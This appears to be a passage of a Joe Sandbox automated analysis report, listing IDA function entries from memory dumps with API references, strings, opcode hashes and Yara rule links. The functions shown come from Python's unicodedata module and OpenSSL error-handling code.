Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_indentO_printf
String ID: %s (%d)
API String ID: 1860387303-2206749211
Opcode ID: 74321d418b78168b46e5f0ae1c78a9b784aa27b92d748a7fdc610d219837a0e8
Instruction ID: 5c3499b689836f694a53b9ae4b92cb31db4820c9e16423646f9f50db3079e0c0
Opcode Fuzzy Hash: 74321d418b78168b46e5f0ae1c78a9b784aa27b92d748a7fdc610d219837a0e8
Instruction Fuzzy Hash: 2131B322F0C79286FB618A91A8446B92A91AB61B91F464032CE5E1F7F9DE7CF541C700

Function 00007FFE01304A20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON313 ref: 00007FFE01304A50
PyType_IsSubtype.PYTHON313 ref: 00007FFE01304AB0

Strings

argument, xrefs: 00007FFE01304A42
east_asian_width, xrefs: 00007FFE01304A49
a unicode character, xrefs: 00007FFE01304A3B

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_ArgumentSubtypeType_
String ID: a unicode character$argument$east_asian_width
API String ID: 1522575347-3913127203
Opcode ID: f5fc9c44005d42739e8aaa94ad1af0bdc691463d08045d9300fe7361b174a674
Instruction ID: a909a83759c3f85b23191e2dbc9d46e04d28282ca34091f75e93822a371a80ba
Opcode Fuzzy Hash: f5fc9c44005d42739e8aaa94ad1af0bdc691463d08045d9300fe7361b174a674
Instruction Fuzzy Hash: 7721C361F0CA8281FB5A8B91D56027A27E1EF48B80F468139DB0E0F775DF2CE6E58744

Function 00007FFE01304FE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON313 ref: 00007FFE0130500C
_PyUnicode_ToNumeric.PYTHON313 ref: 00007FFE0130503F
PyErr_SetString.PYTHON313 ref: 00007FFE01305067
PyFloat_FromDouble.PYTHON313 ref: 00007FFE0130507F

Strings

not a numeric character, xrefs: 00007FFE0130505D

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: DoubleErr_Float_FromNumericStringSubtypeType_Unicode_
String ID: not a numeric character
API String ID: 1034370217-2058156748
Opcode ID: a25512a8a6295ab7a209a9d449d9c762a52c4a41ec5af7dde6583be60f21d0ed
Instruction ID: 81cd32c1e8f02756ee495c12393459744eeff977f699a80e7d617d85c2582be1
Opcode Fuzzy Hash: a25512a8a6295ab7a209a9d449d9c762a52c4a41ec5af7dde6583be60f21d0ed
Instruction Fuzzy Hash: 18219071E0C94286EB56CBA5E43013D63E4BF54B80F468038C95E4F675EF2DE8968B40

Function 00007FFE013046CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON313 ref: 00007FFE013046F8
_PyUnicode_ToDecimalDigit.PYTHON313 ref: 00007FFE01304717
PyErr_SetString.PYTHON313 ref: 00007FFE01304737
PyLong_FromLong.PYTHON313 ref: 00007FFE01304751

Strings

not a decimal, xrefs: 00007FFE0130472D

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: DecimalDigitErr_FromLongLong_StringSubtypeType_Unicode_
String ID: not a decimal
API String ID: 3750391552-3590249192
Opcode ID: 98925aab420d500a80fb896ae28ec5313d1af364276c7e5354c7c80d82c75a3b
Instruction ID: 35224641a034875d747a350adc1aed56fdd1e68a310ad16f419840913d5b8cdf
Opcode Fuzzy Hash: 98925aab420d500a80fb896ae28ec5313d1af364276c7e5354c7c80d82c75a3b
Instruction Fuzzy Hash: 9D117765B0864241FB5A8FA9E47413923D1EF85F84F468038CB6E4FA75DF2CE9518700

Function 00007FFE01304DE4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON313 ref: 00007FFE01304E23
_PyArg_BadArgument.PYTHON313 ref: 00007FFE01304E58

Strings

name, xrefs: 00007FFE01304E13, 00007FFE01304E4A
argument 1, xrefs: 00007FFE01304E51
a unicode character, xrefs: 00007FFE01304E43

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositional
String ID: a unicode character$argument 1$name
API String ID: 3876575403-4190364640
Opcode ID: 52274b603974bfae571effba8c6b15723771c3ed1346c62352a0dd2d502121ee
Instruction ID: c52ea1314c9dacffb679c3ce93093dd76acc84a725481c836ddeca18a85a82db
Opcode Fuzzy Hash: 52274b603974bfae571effba8c6b15723771c3ed1346c62352a0dd2d502121ee
Instruction Fuzzy Hash: 91119131F0CA4281EB519B82E4912A923A0EB44FC4F59443ADF1D4B775CF3DDA55C300

Function 00007FFE01304F28 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON313 ref: 00007FFE01304F67
_PyArg_BadArgument.PYTHON313 ref: 00007FFE01304F9C

Strings

argument 1, xrefs: 00007FFE01304F95
a unicode character, xrefs: 00007FFE01304F87
numeric, xrefs: 00007FFE01304F57, 00007FFE01304F8E

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositional
String ID: a unicode character$argument 1$numeric
API String ID: 3876575403-2385192657
Opcode ID: 426b7343fefe10994a7f184f30639fcb8f90e88664e4ff814fa964081d8755a3
Instruction ID: 6478de31e98aa8536e21e926449b4d4e7d4e7cc34f0c750a06e48e45e5d44ec4
Opcode Fuzzy Hash: 426b7343fefe10994a7f184f30639fcb8f90e88664e4ff814fa964081d8755a3
Instruction Fuzzy Hash: 41118F31B08A4285EB519B82E4642A923A0EB44FC4F46403DEB0D4B779CF3DE699C300

Function 00007FFE01304614 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON313 ref: 00007FFE01304653
_PyArg_BadArgument.PYTHON313 ref: 00007FFE01304688

Strings

decimal, xrefs: 00007FFE01304643, 00007FFE0130467A
argument 1, xrefs: 00007FFE01304681
a unicode character, xrefs: 00007FFE01304673

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositional
String ID: a unicode character$argument 1$decimal
API String ID: 3876575403-2474051849
Opcode ID: be8750f51331ad33850794c55c3c9f5c1776179fbc54f68557b8d447b2bcc9a0
Instruction ID: c78b02c87041d577b7ba9d59578cd2de2f5d0f258dde31c65fc55cf6f5a3367e
Opcode Fuzzy Hash: be8750f51331ad33850794c55c3c9f5c1776179fbc54f68557b8d447b2bcc9a0
Instruction Fuzzy Hash: D3118F21B08A46C5EB519B82E8602A923A0EB84F94F55443ADB1D4B779DF3DD695C700

Function 00007FFE01304CF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON313 ref: 00007FFE01304D20
PyErr_Occurred.PYTHON313 ref: 00007FFE01304D4F

Strings

mirrored, xrefs: 00007FFE01304D19
argument, xrefs: 00007FFE01304D12
a unicode character, xrefs: 00007FFE01304D0B

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_ArgumentErr_Occurred
String ID: a unicode character$argument$mirrored
API String ID: 3979797681-4001128513
Opcode ID: 2e80d537f86a8222939be87eff623b09648c5b1c3b2524f467a4ca7a4f712915
Instruction ID: 60fa20dded76b2afa1c019b0dcde13af3b305351fc6b0f2887b71c018f3e7b51
Opcode Fuzzy Hash: 2e80d537f86a8222939be87eff623b09648c5b1c3b2524f467a4ca7a4f712915
Instruction Fuzzy Hash: 47018F60E08A0391EB169BA1E8611B923E0FF4DB94F420639D61D4B2B6DF3CE7948300

Function 00007FFE01304528 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON313 ref: 00007FFE01304558
PyErr_Occurred.PYTHON313 ref: 00007FFE01304587

Strings

argument, xrefs: 00007FFE0130454A
combining, xrefs: 00007FFE01304551
a unicode character, xrefs: 00007FFE01304543

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_ArgumentErr_Occurred
String ID: a unicode character$argument$combining
API String ID: 3979797681-4202047184
Opcode ID: adb92c9507125f0c22bd24c4db8f48b41953b6aa43e5bdbaf6955fb86866d10c
Instruction ID: cf075f91083c38a28466c8b65d5d1a6e8b916531dd0b1e0bc1babdeb0c11e0e9
Opcode Fuzzy Hash: adb92c9507125f0c22bd24c4db8f48b41953b6aa43e5bdbaf6955fb86866d10c
Instruction Fuzzy Hash: 960184A0E08A03C2EB559791E4611B922E0FF4DB54F460639D74D4FAB5DF3DD6948300

Function 00007FFE01302830 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON313(?,?,00000000,00007FFE01302782), ref: 00007FFE0130283B
PyCapsule_New.PYTHON313(?,?,00000000,00007FFE01302782), ref: 00007FFE01302878
PyErr_NoMemory.PYTHON313(?,?,00000000,00007FFE01302782), ref: 00007FFE0130423C
PyMem_Free.PYTHON313(?,?,00000000,00007FFE01302782), ref: 00007FFE0130424C

Strings

unicodedata._ucnhash_CAPI, xrefs: 00007FFE0130286D

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Mem_$Capsule_Err_FreeMallocMemory
String ID: unicodedata._ucnhash_CAPI
API String ID: 3673501854-3989975041
Opcode ID: 59265758956b7bfbf6375bb1acd7a92ae8e5b63eff507749c531c9f360e4be07
Instruction ID: f2a3943eeb83d7450cb286c95cbab015d7e352738f356b12e396367c911597c6
Opcode Fuzzy Hash: 59265758956b7bfbf6375bb1acd7a92ae8e5b63eff507749c531c9f360e4be07
Instruction Fuzzy Hash: C9F03164A19B4391EB4A4B91B86417523E8BF08781F491439D94D0A375EF3CE154C300

Function 00007FFE013B1A00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013D2C52
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013D2C6A
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013D2C7C

Strings

..\s\ssl\ssl_lib.c, xrefs: 00007FFE013D2C63
SSL_peek, xrefs: 00007FFE013D2C57

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_lib.c$SSL_peek
API String ID: 1552677711-1473178562
Opcode ID: 549a85a6a9ca516ca552cd83e4dd37cc7eedca88ab8cc295ff787cddf5c172ec
Instruction ID: 446f9f6a1c479298efd2c00209d03163941cfbd90881e4d7d13118b3d52f3f8c
Opcode Fuzzy Hash: 549a85a6a9ca516ca552cd83e4dd37cc7eedca88ab8cc295ff787cddf5c172ec
Instruction Fuzzy Hash: 3EF08520F0955242EB10B7B8E802AEA6220EF94700FD10030E60C4EAF3DE2CE9868A81

Function 00007FFE013BD1D1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013BD1D6
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013BD1EE
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013BD200

Strings

..\s\ssl\s3_lib.c, xrefs: 00007FFE013BD1E7
ssl3_ctrl, xrefs: 00007FFE013BD1DB

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\s3_lib.c$ssl3_ctrl
API String ID: 1552677711-3079590724
Opcode ID: 1768015b2e96c023717ce311250397d4b792989539d8cee6a4d4ba9476dad3b2
Instruction ID: ec79c600fc856647bbb75b5719a3fb340dce354612b58e1c9919a89209b870b4
Opcode Fuzzy Hash: 1768015b2e96c023717ce311250397d4b792989539d8cee6a4d4ba9476dad3b2
Instruction Fuzzy Hash: 05F08C55E0D98291F740ABD4E4416FC1310EF857A4F960032DB4D4EABBEE3CE9829711

Function 00007FFE013DAA00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013DAA12
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013DAA2A
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013DAA3C

Strings

SSL_use_PrivateKey, xrefs: 00007FFE013DAA17
..\s\ssl\ssl_rsa.c, xrefs: 00007FFE013DAA23

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_rsa.c$SSL_use_PrivateKey
API String ID: 1552677711-3350344708
Opcode ID: 39aeeff93d880d088d74853257a303468bb6a027ed3e7ecd6526d0c7d711cfc0
Instruction ID: 0b5a35756c2e6ad77eaf84b21ff3c47437a5f2fd660d56e4eaeb8f40053df19a
Opcode Fuzzy Hash: 39aeeff93d880d088d74853257a303468bb6a027ed3e7ecd6526d0c7d711cfc0
Instruction Fuzzy Hash: 68E09A44F1A44282F740B3B8D8123F84192BF94340FD08030E14C0E6B2ED2CE5865B02

Function 00007FFE013BD186 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013BD186
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013BD19E
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013BD1B0

Strings

..\s\ssl\s3_lib.c, xrefs: 00007FFE013BD197
ssl3_ctrl, xrefs: 00007FFE013BD18B

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\s3_lib.c$ssl3_ctrl
API String ID: 1552677711-3079590724
Opcode ID: a77cb63871c16e80bd2a9ac3243bef55933d87bcf3452d2cbf3c4e401942297c
Instruction ID: d968b8703d31b78405f833740efb788065d06ba7ab60aae5c4b5594af48b684c
Opcode Fuzzy Hash: a77cb63871c16e80bd2a9ac3243bef55933d87bcf3452d2cbf3c4e401942297c
Instruction Fuzzy Hash: 18E08C19F0C84286F380A7D4E4016ED5220EF883A0FD60432DA4D4F6F2DE3CE4C29711

Function 00007FFE013B218F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013D6FED
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013D7005
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013D7017

Strings

..\s\ssl\ssl_lib.c, xrefs: 00007FFE013D6FFE
ssl_bad_method, xrefs: 00007FFE013D6FF2

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_lib.c$ssl_bad_method
API String ID: 1552677711-705084354
Opcode ID: dd16eb4a7d0b388ddbfeca5b067ca0391cde673d9038f52f74ede087fe5c3dd5
Instruction ID: 5f01e77294fc5618d278fbd0ef9bf6a4337c9d3858325956b54c9b842e1f853d
Opcode Fuzzy Hash: dd16eb4a7d0b388ddbfeca5b067ca0391cde673d9038f52f74ede087fe5c3dd5
Instruction Fuzzy Hash: B4E01704F1955357F740B7E0E822AFE5121EF91300FD04030E50D4EAF2DE2CE59AA681

Function 00007FFDFF22EDE0 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 390COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF22EE86

Strings

vtable constructor failed: %s, xrefs: 00007FFDFF22EFF9
hidden, xrefs: 00007FFDFF22F27D
vtable constructor called recursively: %s, xrefs: 00007FFDFF22EFB2
vtable constructor did not declare schema: %s, xrefs: 00007FFDFF22F138

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
